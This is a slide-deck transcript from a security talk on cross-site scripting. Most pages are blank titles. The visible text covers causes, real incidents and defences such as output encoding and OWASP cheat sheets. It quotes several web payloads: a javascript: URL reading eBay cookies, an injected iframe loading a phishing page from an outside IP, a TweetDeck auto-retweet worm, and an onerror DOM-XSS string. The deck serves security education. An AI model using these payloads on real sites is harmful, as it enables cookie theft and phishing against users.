cross site scripting going beyond the alert box

71
Alert(‘xss’)

Upload: aaron-weaver

Post on 12-Apr-2017

328 views

Category:

Internet


0 download

TRANSCRIPT

Page 1: Cross Site Scripting Going Beyond the Alert Box

Alert(‘xss’)

Page 2: Cross Site Scripting Going Beyond the Alert Box

OWASPowasp.org

Page 3: Cross Site Scripting Going Beyond the Alert Box
Page 4: Cross Site Scripting Going Beyond the Alert Box

XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content.

Page 5: Cross Site Scripting Going Beyond the Alert Box
Page 6: Cross Site Scripting Going Beyond the Alert Box
Page 7: Cross Site Scripting Going Beyond the Alert Box

Caused by an application that:

● Fails to properly validate untrusted data.

● Fails to properly encode output data.

Page 8: Cross Site Scripting Going Beyond the Alert Box

Generally an attack against an application’s users, not an application.

Page 9: Cross Site Scripting Going Beyond the Alert Box
Page 10: Cross Site Scripting Going Beyond the Alert Box

Source: http://excess-xss.com/

Page 11: Cross Site Scripting Going Beyond the Alert Box

Source: http://excess-xss.com/

Page 12: Cross Site Scripting Going Beyond the Alert Box

Source: http://excess-xss.com/

Page 13: Cross Site Scripting Going Beyond the Alert Box

Source: http://excess-xss.com/

Page 14: Cross Site Scripting Going Beyond the Alert Box

Source: http://excess-xss.com/

Page 15: Cross Site Scripting Going Beyond the Alert Box
Page 16: Cross Site Scripting Going Beyond the Alert Box
Page 17: Cross Site Scripting Going Beyond the Alert Box
Page 18: Cross Site Scripting Going Beyond the Alert Box

http://ebay.com/link/?nav=webview&url=javascript:

alert(document.cookie)

Note: XSS doesn’t always need a <script> tag to execute.

Page 19: Cross Site Scripting Going Beyond the Alert Box

Bonus Points: What is missing on eBay’s cookies?

Page 20: Cross Site Scripting Going Beyond the Alert Box
Page 21: Cross Site Scripting Going Beyond the Alert Box

document.write(‘<iframe src=”http://45.55.162.179/ebay/signin.

ebay.com/ws/eBayISAPI9f90.html&#8221; width=”1500″

height=”1000″>’)

Page 23: Cross Site Scripting Going Beyond the Alert Box
Page 24: Cross Site Scripting Going Beyond the Alert Box

Set to automatically retweet via this: data-action:retweet causing a chain event for anyone that logs into TweetDeck.

Page 25: Cross Site Scripting Going Beyond the Alert Box
Page 26: Cross Site Scripting Going Beyond the Alert Box

https://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html

Page 27: Cross Site Scripting Going Beyond the Alert Box
Page 28: Cross Site Scripting Going Beyond the Alert Box
Page 29: Cross Site Scripting Going Beyond the Alert Box

https://xss-doc.appspot.com/demo/3#'><img src=x onerror=alert(/DOM-XSS/)>

https://xss-doc.appspot.com/demo/3#'><img src=x onerror=alert(/DOM-XSS/)>

https://www.google.com/about/appsecurity/learning/xss/

Page 30: Cross Site Scripting Going Beyond the Alert Box
Page 31: Cross Site Scripting Going Beyond the Alert Box
Page 32: Cross Site Scripting Going Beyond the Alert Box
Page 33: Cross Site Scripting Going Beyond the Alert Box
Page 34: Cross Site Scripting Going Beyond the Alert Box
Page 35: Cross Site Scripting Going Beyond the Alert Box
Page 36: Cross Site Scripting Going Beyond the Alert Box
Page 37: Cross Site Scripting Going Beyond the Alert Box
Page 38: Cross Site Scripting Going Beyond the Alert Box
Page 39: Cross Site Scripting Going Beyond the Alert Box
Page 40: Cross Site Scripting Going Beyond the Alert Box
Page 41: Cross Site Scripting Going Beyond the Alert Box
Page 42: Cross Site Scripting Going Beyond the Alert Box
Page 43: Cross Site Scripting Going Beyond the Alert Box
Page 44: Cross Site Scripting Going Beyond the Alert Box
Page 45: Cross Site Scripting Going Beyond the Alert Box
Page 46: Cross Site Scripting Going Beyond the Alert Box

http://gauntlt.org/

Page 48: Cross Site Scripting Going Beyond the Alert Box

https://github.com/gauntlt

Page 49: Cross Site Scripting Going Beyond the Alert Box
Page 50: Cross Site Scripting Going Beyond the Alert Box

DevOps with Pipeline

Page 51: Cross Site Scripting Going Beyond the Alert Box
Page 52: Cross Site Scripting Going Beyond the Alert Box
Page 53: Cross Site Scripting Going Beyond the Alert Box
Page 55: Cross Site Scripting Going Beyond the Alert Box
Page 56: Cross Site Scripting Going Beyond the Alert Box
Page 57: Cross Site Scripting Going Beyond the Alert Box
Page 58: Cross Site Scripting Going Beyond the Alert Box
Page 59: Cross Site Scripting Going Beyond the Alert Box

○○

<%= h foo.bar %>

Server.HtmlEncode(string)

● https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet● https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Page 60: Cross Site Scripting Going Beyond the Alert Box
Page 61: Cross Site Scripting Going Beyond the Alert Box
Page 62: Cross Site Scripting Going Beyond the Alert Box
Page 63: Cross Site Scripting Going Beyond the Alert Box
Page 64: Cross Site Scripting Going Beyond the Alert Box
Page 65: Cross Site Scripting Going Beyond the Alert Box
Page 66: Cross Site Scripting Going Beyond the Alert Box
Page 67: Cross Site Scripting Going Beyond the Alert Box
Page 68: Cross Site Scripting Going Beyond the Alert Box
Page 69: Cross Site Scripting Going Beyond the Alert Box
Page 70: Cross Site Scripting Going Beyond the Alert Box
Page 71: Cross Site Scripting Going Beyond the Alert Box